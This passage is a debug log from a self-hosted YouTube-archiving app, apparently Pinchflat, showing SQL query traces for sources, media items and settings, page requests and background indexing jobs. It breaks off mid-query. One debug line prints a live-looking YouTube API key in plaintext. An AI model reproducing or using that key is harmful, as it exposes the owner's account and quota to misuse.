Parameters: %{"id" => "37"} Pipelines: [:browser] 17:05:10.813 [debug] QUERY OK source="sources" db=0.1ms idle=934.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:05:10.813 [debug] QUERY OK source="media_profiles" db=0.1ms idle=389.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:11.155 [debug] QUERY OK source="tasks" db=730.8ms idle=1545.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 17:05:11.155 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=718.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800103, 3747529] 17:05:11.155 [debug] QUERY OK source="settings" db=0.1ms idle=342.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.156 [debug] QUERY OK source="settings" db=0.1ms idle=342.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.156 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.157 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:05:11.158 [debug] QUERY OK source="media_items" db=0.9ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:05:11.158 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 17:05:11.159 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:05:11.159 [debug] QUERY OK source="media_items" db=0.0ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 17:05:11.159 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 17:05:11.329 [debug] QUERY OK source="sources" db=0.2ms idle=169.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:05:11.330 [debug] QUERY OK source="media_items" db=0.9ms idle=170.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 17:05:11.331 [debug] QUERY OK source="media_items" db=0.7ms idle=171.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 17:05:11.332 [info] Sent 200 in 908ms 17:05:11.685 [debug] QUERY OK source="tasks" db=872.2ms idle=389.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [37, "executing", "available", "scheduled", "retryable"] 17:05:11.686 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=356.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800115, 3708914] 17:05:11.686 [debug] QUERY OK source="settings" db=0.1ms idle=356.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.686 [debug] QUERY OK source="settings" db=0.1ms idle=355.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.687 [debug] QUERY OK source="settings" db=0.0ms idle=249.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:11.687 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:05:11.688 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:05:11.689 [debug] QUERY OK source="media_items" db=0.9ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [37, 10, 0] 17:05:11.689 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:05:11.689 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [37] 17:05:11.691 [debug] QUERY OK source="media_items" db=1.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [37, 10, 0] 17:05:11.691 [debug] QUERY OK source="sources" db=0.0ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:05:11.692 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [37] 17:05:11.692 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [37, 10, 0] 17:05:11.693 [info] Sent 200 in 880ms 17:05:28.957 [info] {"source":"oban","duration":7919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:58.966 [info] {"source":"oban","duration":8558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.056 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:00.732 [info] GET /sources/2/media/1564181 17:06:00.732 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564181", "source_id" => "2"} Pipelines: [:browser] 17:06:00.732 [debug] QUERY OK source="media_items" db=0.2ms idle=1854.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564181] 17:06:00.733 [debug] QUERY OK source="tasks" db=0.2ms idle=1766.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564181] 17:06:00.733 [debug] QUERY OK source="sources" db=0.2ms idle=1245.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:06:00.733 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=676.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799404] 17:06:00.733 [debug] QUERY OK source="settings" db=0.0ms idle=244.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:00.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:00.734 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:00.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:00.735 [info] Sent 200 in 2ms 17:06:28.975 [info] {"source":"oban","duration":8123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:31.531 [info] {"args":{"id":30},"id":3800077,"meta":{},"system_time":1770764791531264997,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:31.535 [debug] QUERY OK source="sources" db=3.5ms idle=1653.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:06:31.538 [debug] QUERY OK source="settings" db=3.5ms idle=1014.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:31.546 [debug] QUERY OK source="media_profiles" db=7.5ms idle=660.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:31.553 [debug] QUERY OK source="settings" db=6.9ms idle=24.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:31.553 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:06:31.553 [debug] QUERY OK source="settings" db=0.0ms idle=22.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:31.553 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:31.676 [debug] QUERY OK source="media_items" db=0.4ms idle=141.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN 